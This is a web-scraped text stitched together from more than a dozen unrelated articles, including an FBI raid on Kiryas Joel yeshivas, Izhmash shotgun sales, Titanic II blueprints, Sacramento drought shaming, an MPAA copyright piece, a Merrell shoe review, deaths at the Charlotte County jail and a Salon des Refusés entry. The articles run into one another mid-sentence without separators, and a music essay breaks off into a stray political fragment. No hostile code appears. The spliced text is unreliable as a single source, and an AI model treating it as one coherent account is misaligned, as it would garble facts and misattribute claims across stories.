THE STORY: FBI raiding sites in Kiryas Joel
1. UPDATE: Fed probe linked to video of principal
The latest news suggests that the FBI raids are related to the allegedly inappropriate videos referenced below.
2. There have been allegations of sexual abuse
Two videos surfaced earlier this month showing the principal of the United Talmudical Academy, a Kiryas Joel-based yeshiva, touching students in what some have called an inappropriate manner. The state police said they had opened an investigation, but the school’s board of directors issued a statement defending the principal’s actions.
"The school principal is seen embracing the students who were sent to his office for behavioral issues," the statement read. "While this type of restraint may be unacceptable to some viewers, it in no way rises to the level of a criminal assault."
It is unclear if the federal raids conducted Thursday are related to the videos or the state police investigation.
3. The FBI recently raided nearby Rockland County yeshivas
In March, federal raids targeted several locations in Rockland County, involving 22 separate search warrants in Ramapo. It is not immediately clear if those raids, part of an investigation into whether local yeshivas properly spent money obtained through the federal government's E-Rate program, are connected to the investigation in Kiryas Joel.
The E-Rate program allocates more than $4 billion annually to schools for computer and Internet access across the nation.
Regarding those March raids — some of which also took place in Kiryas Joel — the U.S. Attorney's Office said: "Today, the FBI, working with our office, conducted searches in connection with an ongoing fraud investigation. If and when charges are filed, they will eventually become public. This remains an ongoing matter, and we are unable to provide any additional information at this time."
4. There was also a raid into school lunch fraud
According to The Forward, the Central United Talmudical Academy in Williamsburg, Brooklyn, was the subject of raids over alleged school lunch fraud. Federal investigators gave no indication if any of the raids and investigations — the E-Rate-related investigation or the school lunch program — were connected, though they did occur on the same day.
NEWSLETTERS Get the Breaking News newsletter delivered to your inbox We're sorry, but something went wrong Please try again soon, or contact Customer Service at 1-888-426-6388. Delivery: Varies Invalid email address Thank you! You're almost signed up for Breaking News Keep an eye out for an email to confirm your newsletter registration. More newsletters
5. Kiryas Joel has the highest poverty rate in the nation
According to the Census Bureau, almost 70 percent of the village's residents live below the poverty line, meaning Kiryas Joel has the highest poverty rate in the United States. That, however, is a matter of choice, as then-village administrator Gedalye Szegedin told The New York Times in 2011. “If people want to work in a religious setting and make less than they would earn at B & H, that’s a choice people make,” he said. “I don’t want to be judgmental. I wouldn’t call it a poor community. I would say some are deprived. I would call it a community with a lot of income-related challenges.”
Read or Share this story: http://lohud.us/27haKN4Izhmash, the manufacturer of the legendary Kalashnikov AK-47, will supply Saiga-12 semi-automatic smoothbore shotguns to a number of police forces in the U.S., Izhmash reported on its web site on Tuesday.
Izhmash, the manufacturer of the legendary Kalashnikov AK-47, will supply Saiga-12 semi-automatic smoothbore shotguns to a number of police forces in the U.S., Izhmash reported on its web site on Tuesday.
The contracts were signed at the Shot Show exhibition in Las Vegas on January 17-20. “The first Saiga-12 deliveries to U.S. law enforcement were already made in January 2012,” Izhmash General Director Maxim Kuzyuk said.
At the exhibition, Izhmash also signed an agreement on exclusive imports to the U.S. market with Russian Weapon Company and an agreement with Fime Group as Izhmash’s partner for manufacturing classic firearm models.
Shot Show also provided an opportunity for buyers from Central American countries to sign contracts on direct delivery of Izhmash sporting and hunting weapons for the first time. Previously they had only been able to buy Izhmash products via intermediaries in the U.S.
"The results of the exhibition are inspiring. The American market in non-military weapons is booming. We project a 20 percent increase in deliveries this year," Kuzyuk said.Don Fenwick and David Stringer, photographed at Chinderah Bay Antiques Museum, have bought blueprints for the new Titanic ship from Clive Palmer. They were purchased at an auction that raised close to $20,000 for the Greenmount Surf Life Saving Club.
Don Fenwick and David Stringer, photographed at Chinderah Bay Antiques Museum, have bought blueprints for the new Titanic ship from Clive Palmer. They were purchased at an auction that raised close to $20,000 for the Greenmount Surf Life Saving Club.
WHILE Clive Palmer's Titanic II might be built in China and cruise in the Atlantic Ocean, the blueprints will be safely stored in the Tweed.
Two Tweed businessmen purchased the blueprints at a fundraising auction at the Greenmount Surf Life Saving Club earlier this month that raised close to $20,000 for the club's renovations.
>> View an overview blueprint of the Titanic II (courtesy: abratis.de)
Real Estate principal David Stringer of DJ Stringer and Don Fenwick, principal of HQF Lawyers, bought the blueprints.
Mr Stringer said he had no plans to buy the blueprints before the auction.
"It was one out of the hat," Mr Stringer said.
"We just thought it was a good investment. They will be signed and numbered one of one."
Mr Stringer said the plans would be copied for display but the originals would be kept in storage.
"I've never bought anything like this... maybe a bit of sports memorabilia," he said. Mr Stringer said the blueprints would have international significance.
"It (Titanic) is a story that everyone knows. I think the film of the event was one of the highest-grossing films ever," he said.
Mr Palmer made headlines around the world earlier this year when he announced plans to build an exact replica of the ship and retrace the route of the original Titanic that sank in the Atlantic Ocean on April 15, 1912, after striking an iceberg. A Chinese company is building Titanic II and it is expected to be launched in 2016.EPIC! Donald Trump, Jr.’s Response to Democrat’s Latest Election Loss in GA District 6
The Congressional race between Repblican Karen Handel and Democrat Jon Ossoff took place on Tuesday.
The race in Georgia’s 6th district is the most expensive House race in US history.
More than $50 million was spent on the race to replace Rep. Tom Price in the US House.
Jon Osoff, the liberal hope for Georgia, has nine times as many donors from California as from Georgia where he is running.
But it wasn’t enough.
Republican Karen Handel defeated Ossoff by nearly 5%.
Donald Trump, Jr. had the best response of the night:
Congratulations dems that's the most expensive participation medal ev… um since November. #maga — Donald Trump Jr. (@DonaldJTrumpJr) June 21, 2017
Well, if #Ossoff were saying it, he wouldn't be lying https://t.co/aJ893o3H2S — David Martosko (@dmartosko) June 21, 2017
Another Pelosi dumpster fire.SACRAMENTO (CBS13) — Neighbors are tattling on neighbors for wasting water and some are taking their drought shaming to social media.
If you’ve ever had the feeling you’re being watched while you water your lawn, there’s a good chance you are during this historic drought.
In Sacramento, water wasters can face fines, and the enforcer may be someone who lives right next door.
Terrance Davis with the city department of utilities says he’s seeing a trend of drought shaming.
“Our water use complaint calls have gone up exponentially from the last 2 years,” he said.
Karen Halbo lives in River Park. She says it’s not about whose lawn is greener anymore, it’s about whose lawn is browner.
“Frankly when your lawn looks as bad as mine does you sort of want to encourage others to stop watering concrete,” she said.
Down the street, Pam Ferko admits the pressure from her neighbors not to waste sometimes has her sneaking around.
“I think my husband has been guilty of coming out late at night and doing a little secretive watering underneath the trees,” she said.
Even the Capitol lawn is drought shaming by example, with signs reading “If we can go brown, so can you.”
Some may find the drought shaming vindictive or sneaky, but the city says that competition is motivation, and it’s working to reduce water waste.
“Obviously we can’t see everything, can’t be everywhere so having people in the community helping us out—residents, neighbors—reporting those types of things is a great tool for us too,” Davis said.
The city says from January to June, it’s received more than 8,000 calls to its water-use complaint line. Just last month, the city saw a 17 percent cut in water use.
MORE NEWSDuring the summer of 2009, two seemingly unrelated and almost contradictory musical events occurred. The Black Eyed Peas wrote the song of the summer with the gratingly catchy and hyper-positive “I Gotta Feeling,” and the xx quietly released their self-titled debut. These events are not of a piece at first sight, but scrutinize just a little, and you see something that looks like forks in an inscrutable road.
Before the xx released their first record, there was nary a whisper of anything so soporific, so sweet and sour, and gothic in the wider musical atmosphere. Now, even loosely, their style has helped popularize a new pathway to hit potential. This is not to say that artists still don’t turn to blinding optimism (see: Pharrell’s “Happy,” JT’s cloying “Can’t Stop the Feeling”), but in the last few years, the stylings of Drake, the Weeknd, Justin Bieber, and more show that a mopey aesthetic is not just a bumper crop, even in mainstream pop.
The xx’s sound is coy and deceivingly simple: wrought from minimalist bass lines, husky vocal duets, and finely tuned drums. Their songs can be protean, sometimes feeling pleasantly childish (“VCR”), other times spare and grand (“Angels”). But their work has always been |
role. The Pew poll finds Dems with significant leads on many other domestic issues, like education, energy, health care, and Social Security. And Republicans are so dedicated to seeing deep (and unpopular) entitlement cuts that they are preparing a showdown over the debt ceiling to achieve them. It’s true that the politics of the debt ceiling don’t automatically favor Dems (because people associate it with over-spending in the abstract). But the GOP brand is so tarnished — even as Obama’s popularity is rising — that the public may implicitly trust the President in the next showdown, too, particularly if he opposes the sort of entitlements cuts the GOP wants.
Yet next year, as now, the incentives for individual GOP lawmakers, particularly in the House, to stage that showdown will remain strong. It’s hard to see how it’s a good thing for the GOP if lawmakers remain comfortably isolated from broader opinion when the party plainly needs to evolve. A non-rhetorical question: Do Republicans view this as a problem?A dog rests on the steps of Delhi's old quarter February 14, 2008. REUTERS/Desmond Boylan
BHUBANESWAR, India (Reuters) - An infant boy was married off to his neighbors’ dog in eastern India by villagers, who said it will stop the groom from being killed by wild animals, officials and witnesses said on Wednesday.
Around 150 tribespeople performed the ritual recently in a hamlet in the state of Orissa’s Jajpur district after the boy, who is under two years old, grew a tooth on his upper gum.
The Munda tribe see such a growth in young children as a bad omen and believe it makes them prone to attacks by tigers and other animals. The tribal god will bless the child and ward off evil spirits after the marriage.
“We performed the marriage because it will overcome any curse that might fall on the child as well on us,” the boy’s father, Sanarumala Munda, was quoted as saying by a local newspaper.
The groom, Sagula, was carried by his family in a procession to the village temple, where a priest solemnized the marriage between Sagula and his bride, Jyoti, by chanting Sanskrit hymns, a witness said.
The dog belongs to the groom’s neighbors and was set free to roam around the area after the ceremony. No dowry was exchanged, the witness said, and the boy will still be able to marry a human bride in the future without filing for divorce.
Indian law does not recognize weddings between people and animals, but the ritual survives in rural and tribal areas of the country.MPAA Sticks Its Nose Into Australia's Copyright Business: Warns Against Fair Use And Geo-Blocking Relief
from the moar-copyright dept
It's been no secret that the MPAA has been sticking its nose in the copyright laws and enforcement of Australia for some time now. From pressuring government officials in the country to force ISPs to act as copyright police, to trying to keep Australian law as stuck in antiquity as it possibly could be, to trying to force the country to enforce American intellectual property law except the parts it doesn't like, the MPAA nearly seems to think of itself as an official branch of the Australian government. Given the group's nakedly hostile stance towards fair use, it should be no surprise that it doesn't want to see that sort of law exported to other countries and has worked to actively prevent its installation Down Under.
It seems these efforts are not working, however, as the Australian government is currently entertaining not only adopting American-style fair use laws, but also adding exceptions to geo-blocking as well. The MPAA, as you'll have already guessed, is not happy about this. This whole thing started with the government responding to its own Productivity Commission's report on ways to make copyright law in the country better, so as to make Australian citizens more productive.
Two months ago the Government responded to these proposals. It promised to expand the safe harbor protections and announced a consultation on fair use, describing the current fair dealing exceptions as restrictive. The Government also noted that circumvention of geo-blocks may be warranted, in some cases.
The MPAA snapped into action, essentially suggesting in its absurd foreign trade barriers 2018 list that fair use, which the MPAA hates, works in America because our legal system has matured on copyright law in a way that Australia's has not. Put another way, fair use is good enough for America, but Australia is not good enough for fair use.
“If the Commission’s recommendations were adopted, they could result in legislative changes that undermine the current balance of protection in Australia. These changes could create significant market uncertainty and effectively weaken Australia’s infrastructure for intellectual property protection,” the MPAA writes. “Of concern is a proposal to introduce a vague and undefined ‘fair use’ exception unmoored from decades of precedent in the United States. Another proposal would expand Australia’s safe harbor regime in piecemeal fashion,” the group adds.
This is flatly absurd. The fair use model Australia is considering is essentially the American model, which has produced a boon of creative and educational output. What the MPAA is suggesting is that fair use should not be implemented because Australian courts haven't produced enough caselaw to make room for it. How the country would ever pile up that caselaw without implementing fair use is an open question the MPAA doesn't seem particularly interested in answering.
But its comments on geo-blocking relief are just plain weird. There is something of a "Nice economy you have there. It'd be a shame if something happened to it" ring to all of this.
“Still another would allow circumvention of geo-blocking and other technological protection measures. Australia has one of the most vibrant creative economies in the world and its current legal regime has helped the country become the site of major production investments. Local policymakers should take care to ensure that Australia’s vibrant market is not inadvertently impaired and that any proposed relaxation of copyright and related rights protection does not violate Australia’s international obligations,” the MPAA adds.
Based on comments like that, you would be forgiven for thinking that the MPAA had the best intentions for Australian economy at heart. Why that would be is another open question nobody seems to want to answer, likely because the obvious truth is that the MPAA doesn't care about the Australian economy at all, it only cares about the Hollywood bottom line. It hates that fair use exists in America, so of course it doesn't want to see it exported elsewhere. It loves exerting every kind of control over its product, so of course it doesn't want geo-restriction laws to be relaxed.
Why the MPAA should have any say in how Australia governs itself is a mystery for the ages, but it sure seems to think its opinion on these things matters.
Filed Under: australia, fair use, geoblocking
Companies: mpaaAPRIL 26--Even by predatory teacher standards, Pamela Rogers is one brazen gal.
The former Tennessee teacher, who was jailed last year for having sex with a 13-year-old student, resumed communicating with the boy after her February release from prison, investigators charge.
Rogers, 28, was arrested earlier this month after probation officials discovered that she had created a MySpace page on which she posted messages to the victim (those notes were addressed to "32," the boy's basketball uniform number). Rogers pleaded not guilty to the probation violation charge and was released on bail pending a July court hearing.
But even after that legal scrape, Rogers continued to contact the boy, according to an amended complaint just filed in Warren County Criminal Court.
The complaint details how Rogers recently sent naked photos of herself (as well as sexually explicit videos) to the boy. She also allegedly sent the boy e-mails and text messages and set up a Hotmail account--happyending32--that they could jointly access. In a March 19 text message to the boy, Rogers wrote, "R u still waitin? Or do you want me 2 try 2 move on wit my life? I miss u so much. I wish I could tlk 2 u."
Rogers is pictured at left in a Warren County Sheriff's Office booking photo snapped Monday. (4 pages)To reduce Ocean Beach trash, Park Service removes garbage bins
Maintenance worker James Brown picks up trash at Ocean Beach in San Francisco, California, on Thursday, Nov. 5, 2015. Maintenance worker James Brown picks up trash at Ocean Beach in San Francisco, California, on Thursday, Nov. 5, 2015. Photo: Connor Radnovich, The Chronicle Buy photo Photo: Connor Radnovich, The Chronicle Image 1 of / 17 Caption Close To reduce Ocean Beach trash, Park Service removes garbage bins 1 / 17 Back to Gallery
In the background, the surf broke on Ocean Beach. Revitz, 56, of the Richmond cringed in disgust.
“It’s shocking to see all of the trash lying around,” Revitz said.
In a seemingly counterintuitive move, the National Park Service has removed most of the garbage cans along Ocean Beach — in hopes of reducing litter. Park officials say the move has been successful, but neighbors and beachgoers call it a failure.
“I’m sure some people will take their trash away in the trunk of their car,” Revitz said. “But what about all of the people that take Muni and ride bikes? I get the idea in theory. But I don’t know if it’s going to happen at Ocean Beach.”
Last week, nine bins were carted off between Stairwells 1 and 14. Ten remain between Stairwells 16 and 27, which are near fire pits on the north end of the beach. Their elimination is part of a trial program to see if fewer trash cans will encourage beach visitors to pack out their rubbish. The Park Service hasn’t set an end date for the trial yet.
“If trash really starts to accumulate, we are going to put the trash cans back,” said Adrienne Freeman, public affairs specialist for the Golden Gate National Recreation Area. “But we are seeing a cleaner beach. People have started taking personal responsibility for the beach that they use.”
Success at other beaches
The removal of trash cans has proved effective at Stinson Beach in Marin County and Baker Beach in San Francisco. Trash on Ocean Beach has long been an issue, but removing trash cans to encourage users to properly dispose of their garbage might seem like an odd incentive. And some beach users and residents who live nearby are frustrated over the trash piles mounting where garbage receptacles were once available.
Scott Hutter, 30, of Mill Valley surfs at Ocean Beach several times a month. He said that, after surfing up and down the West Coast for the past 15 years, he has noticed that beaches with more trash cans tend to stay cleaner.
“The program is already showing signs of failure based on some of the pictures I’ve seen,” Hutter said. “I think their intentions were correct. But hoping people will just get it and carry their own trash home is a bad idea. Personally, if I had a bunch of garbage and I was cleaning up from an event, the last thing I would want to do is bring all of the damp trash to my car and throw it in.”
Others have complained that getting rid of the bins hurts efforts to keep the beach clean. Eve Thompson, 69, of the Richmond regularly walks along the beach and picks up stray bottles and chip bags that have washed ashore. But those efforts probably won’t continue.
“You can be sure I won’t be picking up trash now because there’s nowhere to put it,” Thompson said. “There are all sorts of garbage piling up in the walkways. People are lazy, and it’s highly unrealistic to expect them to take their trash with them. We want the trash containers back.”
‘We’re getting the word out’
But Freeman of the GGNRA maintains that the program has been successful in its short history. The progress could be attributed to the program starting during the off-season when fewer people patronize the beach.
“Early results seem to be positive,” she said. “Our initial reaction is that we have a cleaner beach. We have seen this program be successful before on our other beaches, and I think it will prove true in Ocean Beach as well. We’re getting the word out that you should pack out what you brought in.”
Park officials are also considering replacing the cans with fewer — but larger — canisters. A similar program was successfully implemented at Fort Mason about a year ago. Freeman said they are still deciding what to do.
“We are considering consolidating so we can get more trash into the container,” she said. “It really is a process. We are going to try things and be creative and innovative and ultimately make the beach a safer and cleaner place.”
Lizzie Johnson is a San Francisco Chronicle staff writer. E-mail: ljohnson@sfchronicle.com Twitter: @lizziejohnsonnnDonald Trump’s comfortable lead in the New Hampshire Republican primary was diminished slightly over the course of the week, though he still leads the race by 19 percentage points, according to a University of Massachusetts Lowell tracking poll released on Friday morning.
Trump earned 34 percent support among likely Republican voters in New Hampshire, down 4 percentage points since the first UMass tracking poll released on Monday.
Sen. Marco Rubio (R-FL) maintained his spot in second place with 15 percent support. Rubio jumped to second place in the UMass tracking poll on Thursday. He has risen 7 points since Monday, when he polled at 8 percent in the tracking poll. Sen. Ted Cruz remains in third place in the poll with 14 percent support.
According to TPM’s Polltracker average, Trump leads the New Hampshire Republican primary at 32.1 percent, followed by Rubio with 13.9 percent, and Cruz with 13.1 percent.
The UMass tracking poll, sponsored by Boston news station WHDH, was conducted Feb. 2-4 via phone. They surveyed 500 likely Republican voters with a margin of error plus or minus 4.8 percentage points.Merrell Barefoot is bringing to market an incredible minimalist/barefoot shoe in 2013. It’s called the Vapor Glove and when I first pulled the sample pair out of the box Merrell sent me, I thought “Whoa” followed immediately by “Finally!”
Quite simply, the Vapor Glove is the most minimalist, closest to barefoot shoe that Merrell has made. Like other Merrell Barefoots before it, it features a Vibram rubber sole and a distinctly “Merrell” look. But looks might not tell just how simple a shoe the Vapor Glove is. If you’re a fan of the KSO FiveFingers but could do without the toes, you are in luck.
And you should read on for photos and video of what could be the most compelling-yet-simple barefoot shoes in 2013.
Overview
The Vapor Glove is a 3.5 mm Vibram rubber outsole, a 2mm EVA midsole, and a laced, super airy and thin flexible upper. They’re incredibly flexible and lightweight. They have a distinct rubber toe bumper that lends structure to the front of the shoes while protecting the toes, giving them something to push on and lift the front of the shoes when dorsiflexing.
Take a look around the shoes:
Like other Merrell Barefoots, the Vapor Gloves have a familar “sling” that wraps around the heel. This adds just a bit more structure to the shoes, I suppose. They also have a useful heel tab to make it easier to put them on. Laces are quick to tigthen or loosen, which is another Merrell feature I’ve come to appreciate.
New yet familiar soles
As noted above, the Vapor Glove has a 3.5mm Vibram outsole and a 2mm EVA midsole. Any FiveFingers fans find that familiar? That’s precisely the sole structure of the venerable KSO FiveFingers. Obviously, the Vapor Gloves aren’t toe shoes like Vibrams, but otherwise, the Vapors and the KSOs have a lot in common.
One difference in the Vapor Glove sole is that it features an intricate diamond cut that givesv the sole more flexibility. Dorisflexing with the Vapor Gloves is a piece of cake. Also, thanks to the lack of structure in the soles, I suspect these will work very well for those with wider feet. The soles shoulds simple lay down flat for wider feet.
One of the great things about Vibram FiveFingers is how they almost hug the foot like a second skin. Most VFF models have so little structure in their soles that you almost forget the shoes are there. Well, not a lot of non-FiveFingers have pulled off this design feat. However, the Vapor Gloves feel very close to the same. In other words, if you want to have a shoe on but sorta forget you have a shoe on, you’re probably going to want to try these out.
You’ll note that the soles have foot-like curves to them at the heel, midfoot, and arch. None of these are structural, so unlike, say, the Trail Gloves, you don’t feel much if any narrowing of the last at the arch. Again, the Vapor Gloves are akin to FiveFingers KSOs in that the soles are super flexible and shaped to hug the foot (but not to provide support).
Meanwhile, ground feel is very, very good with the Vapor Gloves. Textures are readily felt through the soles. Whichever side designed these soles — Merrell or Vibram — my hats off to you.
While I am often unsure just how well photos showing a rolled up shoe or a shoe with a bent sole capture a soles dynamic flexibility (or lack thereof), these in-hand squeeze and roll tests are worth sharing. And note how I rolled up a Vapor Glove and just stuck it inside the other shoe:
I do have two nitpicking critiques of the soles.
One is that the bumper carries on a grippy texture to it that made the front of the shoes (the rounded bumper that wraps the toes) want to grab surfaces like carpet. It never tripped me up, but it did surprise me when it happened from time to time.
Two, and perhaps more importantly, I would have liked to see the soles wrap up either side of the foot at either side of the forefoot just a little more. This would allow for a bit more protection of the upper (and also more sole to flatten out for expanding and/or wide feet).
Ultimately, these are nits and don’t do anything to taint my overall take on the soles of the Vapor Glove. They are fantastic.
The uppper and inside
Vapor Gloves have a very simple upper composed of primarily one layer of very breathable, super flexible fabric. Lookswise it has a techy quality to it, but function-wise it’s flexible and soft like a well worn lightweight cotton t-shirt.
The tongue and heel of the Vapor Gloves have a secondary layer of fabric, which lends the shoe a little more structure, but this layer is also quite thin. A cool breeze will blow right through the shoes, which will make them great for warmer wear. Winter, on the other hand, probably not so much.
The fit with the laces and the soft upper is very comfortably snug.
As for the insides of the Vapors, they are seamless and the Vapor Gloves are clearly built to be worn barefooted (though you could wear socks in them if you wanted). Make sure you take a look at the photo of the inside of the toe box. Note the orange footbed doesn't really capture the full width of the shoe, which goes out to the white/grey sidewalls.
Flexible Soles and Uppers = Barefoot Shoe Best Practices!
You probably thought I was done talking about the Vapor Glove soles, but some photos of the shoes on-foot do the best job telling the story of the shoe's flexibility. Dorsiflexing my toes is a breeze, standing on my toes is easy and feels unrestrained, putting weight on the shoes collapses and flattens the soles, etc. These shoes don't get in the way of my feet. I forget they are there. Actually, they make me feel like so many other minimalist shoes with more involved soles are ultimately a bit too distracting/disconnecting for my feet.
Check this photo gallery of the Vapor Gloves on foot and see just how flexible they are:
Function
The Vapors are geared towards runners (probably more road than trail) and fitness enthusiasts. I’ve not put them through running paces at this time other than a few sprints. No surprises or complaints. Again, the Vapor Gloves are like Merrell's non-toed FiveFingers, so the experience is somewhat similar. With almost no cushioning, you have to pay attention to your steps. Biomechanics feel similar to being actually barefoot for walking around, jumping, landing (be careful falling a few feet not to pound your heels!), etc.
The soles make for a grippy experience. I happened to wear them on a boat for a coastal fishing trip this past weekend off of Charleston and felt incredibly sure-footed on a very wet and bumpy boat ride (Thanks Hurricane Sandy!). This was a pleasant surprise.
Though this can only be called an initial review given the limits of my field testing (more to come on that), the Vapors show a lot of promise if you’re after a shod experience that gets you close-to-barefoot. Just as all barefoot shoes mute the sensational friction and dust-particle-driven experience of being actually barefoot, so will the Vapor Gloves keep your feet assuredly not barefoot. What they will do is make you keenly aware of what you’re stepping on, what surfaces you’re walking/running on, etc.
It’s not barefoot, but for a shoe with an incredibly durable rubber shoe, the Vapor Gloves are going to get you about as close to barefoot as can be reasonably expected. Compared to other shoes in their class of sole thickness (Altra Adams, certain Vivo Barefoots like Aqua Lites, or huaraches like Xero Shoes Connects), the Vapor Gloves just might be the best yet — mind that KSO, Classic, and Sprint FiveFingers may be marginally better...
... And I’m probably splitting hairs.
Video review
Concluding thoughts for now
If you can’t tell, I really like my Vapor Gloves. Probably the best compliment I can give them is that after wearing them all day long, I have no thought of taking them off. To me, this is one of the best tests of a “barefoot shoe” and it runs totally opposite the experience of most footwear (for me), which is that after wearing shoes all day I usually can’t wait to get them off my feet. Not so with the Vapor Gloves — they keep my feet happy because my feet don't know the shoes are there.
And what else, really, is there to say? How about this: the Vapor Glove is available online for $80 or less —
REI (some on sale!) | Zappos has'em | So does The Shoe Mart
Also, since this initial review, Greg has written a CrossFit and Running review here as has Erin reviewed the women's Vapor Glove.
Questions? Thoughts? What do you think? Talk to me in the comments!In-custody deaths spawn questions, lawsuit
CHARLOTTE COUNTY, Fla. – WINK News teamed up with the Charlotte Sun Newspaper to investigate deaths at the Charlotte County Jail.
Tom Ireland seemed reluctant to talk to two reporters prying into an unexpected and undoubtedly embarrassing family tragedy.
He seemed to have a similar reluctance towards the lawsuit he’s filed against members of the Charlotte County Sheriff’s Office and it’s Medical Provider: Corizon Healthcare.
“I’m not here to make waves. All I said was something was wrong,” he said.
The retiree from Wisconsin said he was proud of his middle son Greg, who at one point in time was a very capable engineer in their home state.
In 2008, Gregg lost his job and came to Punta Gorda to live with his parents.
Ireland said he did odd jobs, helped around the house and neighborhood and always found time to watch Wisconsin football.
On August 22, 2015, 47-year-old Gregg Ireland was arrested for driving while intoxicated with a blood alcohol content at 0.314.
With a BAC more than three times the legal limit, too high to be booked directly into jail, a Charlotte County Sheriff’s deputy took him to Bayfront Health.
Medical records show a diagnosis of alcohol abuse and hypokalemia, a potassium deficiency common in alcoholics. He left the hospital with a prescription for a potassium supplement and was transported to the Charlotte County Jail’s medical facility, known as “C-Pod”.
According to medical records and interviews from an internal investigation, none of the medical staff gave Ireland the potassium supplement, or any detox medications during the time he was in the jail.
A deputy said he and Ireland exchanged friendly banter about football when he first arrived. But the next night, that same deputy said he so threatened by the 322-pound inmate he had to defend himself.
Sometime after 3 a.m. on August 24, the deputy and a nurse went to Ireland’s cell door to investigate a commotion.
Over the course of the next hour, Ireland was tased a total of nine times and restrained by several deputies.
When they realized he was not responding or breathing, they started CPR and eventually transported him to the hospital.
“He just never woke up,” said Tom Ireland, who made the decision to take his son off life support two days later.
The medical examiner listed the cause of death as natural due to withdrawal from alcohol.
Five deaths in five years
A WINK News and Charlotte Sun joint investigation found Ireland’s death was the 5th at the jail in a five-year period.
In 2013, Thomas Andreasen, was arrested for panhandling.
After what is best described as a psychotic episode, deputies placed Andreasen in a restraint chair for several hours.
Deputies claimed they did checks on him every 15 minutes, and on the last one noticed he wasn’t breathing. The medical examiner said his death was natural due to withdrawl from alcohol.
It was the second time in five years that an inmate housed in the medical unit died, and the medical examiner listed alcohol withdrawal as the cause of death.
Two other inmates committed suicide after being cleared by the jail’s mental health counselor and released back into general population. And another inmate was found in an intake cell some time after booking, not breathing.
What’s going on?
Tom Ireland said he hopes the federal lawsuit will shed some light on what potential mistakes were made leading up to his son’s death.
Surveillance video and interviews with inmates, deputies and medical staff show the events leading up to Gregg Ireland’s death.
It started when inmate Ireland’s roommate banged on the door of the cell.
“He said Ireland threw water on him. Ireland had claims thed he had tripped and spilled the water,” said Zachary Heavener, a nurse who escorted a deputy upstairs to investigate.
In the medical unit of the jail, nursing staff assists deputies to make sure nothing medical is going on.
The deputy described Ireland as sweating, nervous and fidgety and said while trying to remove the roomate’s belongings from the cell, Ireland took a step towards him.
Deputy Brandon Swartzentruber said at that time he tased him, and called over the radio for help.
A female inmate later told investigators she heard Ireland trying to tell the deputy he couldn’t get on his back before the taser went off.
Another deputy said he had to give palm strikes to Ireland’s ribcage in an effort to get him to comply and said the “fight” was on when they arrived in the cell.
A male inmate reported hearing sounds of a body being slammed against the concrete several times.
Eight deputies arrived throughout the next several minutes to help restrain Ireland with handcuffs and leg shackles. They said none of that was working, so another deputy left to get special Velcro restraint belts.
Based on the video it is twelve minutes into the ordeal when deputies call for a second nurse to come upstairs to the cell.
Deputies said Ireland had gone unresponsive but when the Nurse shined a flashlight in his eyes, he began cussing at her.
They claim as they moved him from the top floor of the pod to the bottom, he continued to “squirm” and break out of restraint belts.
The inmate in the cell next to him, told investigators she saw them drop him on the floor right next to her cell and she didn’t hear or see him moving or making any sounds.
On the bottom floor, a video inside a cell where camera is not functioning, showed deputies with Ireland for another eight minutes.
When he is moved into a cell with a functioning camera, deputies are seen removing a spit mask from his face and beginning chest compressions.
Medical Missteps?
Records indicate that Ireland was given a prescription for potassium to treat the Hypokalemia when he left Bayfront Health, but it was never administered.
No alcohol detox drugs were administered either despite his extremely high blood alcohol content.
“The physical detox from those chemicals can cause death if not monitored correctly,” said Robert Raab, an addiction therapist at Next Step in Fort Myers.
Raab said people going through withdrawals may be trying to comply with orders but may not be able to verbalize it.
He said the description of Ireland’s demeanor changing from friendly and cooperative to aggressive is consistent with people coming down from alcohol.
Drug protocols for the jail require inmates who self report as drinking every day to be put on medication protocol which includes Valium.
Ireland’s medical records indicate that he reported drinking multiple times a week.
According to the protocols, medication is not required until there are sufficient signs of withdrawal such as sweating and tremors.
Interviews indicate this behavior may have been exhibited from the time the deputy and the nurse went to investigate the commotion with Ireland’s roommate.
It wasn’t until after Ireland was reportedly unresponsive the first time, more than 10 minutes into the deputies using force, that nurses attempted to get a prescription filled for Valium.
The investigation into Ireland’s death found that the doctor on call slept through four phone calls and nurses had to get in touch with a supervisor and then a different doctor to authorize the medicine.
It was finally authorized, but never given to Ireland
No crimes, no policy violations
No criminal wrongdoing or policy violations were found in any of the deaths during the past five years.
After Andreasen’s death in 2013, the Sheriff’s office updated the way it logs well-being checks so they are better recorded.
So far no one named in Tom Ireland’s federal lawsuit has responded to the complaint and no attorneys are listed for the defendants.
WINK News attempted to reach out to each person named in the suit, but no one provided comment.
Corizon Health, through a spokesperson, issued the following statement:
“We appreciate you providing the opportunity to make, as you requested, a Corizon Health employee working at the Charlotte County Jail available to be interviewed regarding the health services we provide. Corizon Health doctors and nurses have the same training and follow the same clinical practices as doctors and nurses who care for the general public. In addition, our clinicians follow the rigorous standards established by the National Commission on Correctional Health Care, which was created by the American Medical Association and sets the standards recognized by the medical profession and the courts as the benchmark for establishing and measuring a correctional health services program. In fact, the Charlotte County Jail is accredited by the NCCHC and received a 100 percent score on its last reaccreditation inspection. However, due to a number of considerations – patient privacy and employee safety foremost among them – we will not subject one of our nurses to a media interview.”
Reporter: Lauren SweeneyFormer executives of Washington Mutual Inc. agreed to settle a lawsuit for less than 10% of the $900 million originally sought by the Federal Deposit Insurance Corp. for their role in the biggest bank failure in U.S. history, according to a published report.
A large portion of the payout, which is expected to total less than $75 million, would come from insurers and the bank's estate, and not from the former executives, said the Wall Street Journal, citing unnamed people familiar with the situation.
The FDIC had accused former Washington Mutual Chief Executive Kerry Killinger, Chief Operating Officer Stephen Rotella and home lending chief David Schneider of gross negligence and reckless disregard for the long-term safety of the bank.
An attorney for Rotella and Schneider told the Journal that a settlement had been reached, but declined to comment on the dollar amount. The defendants did not admit or deny any wrongdoing in settling the case, according to the report.
The FDIC declined comment.The Salon des Refusés, French for "exhibition of rejects" ( French pronunciation: [salɔ̃ de ʁəfyze]), is generally an exhibition of works rejected by the jury of the official Paris Salon, but the term is most famously used to refer to the Salon des Refusés of 1863.[1][2]
Today by extension, salon des refusés refers to any exhibition of works rejected from a juried art show.
Background of the Salon of 1863 [ edit ]
The Paris Salon, sponsored by the French government and the Academy of Fine Arts, took place annually, and was a showcase of the best academic art. A medal from the Salon was assurance of a successful artistic career; winners were given official commissions by the French government, and were sought after for portraits and private commissions. Since the 18th century, the paintings were classified by genre, following a specific hierarchy; history paintings were ranked first, followed by the portrait, the landscape, the "genre scene", and the still life. The jury, headed by the Comte de Nieuwerkerke, the head of the Academy of Fine Arts, was very conservative; near-photographic but idealized realism was expected.[3]
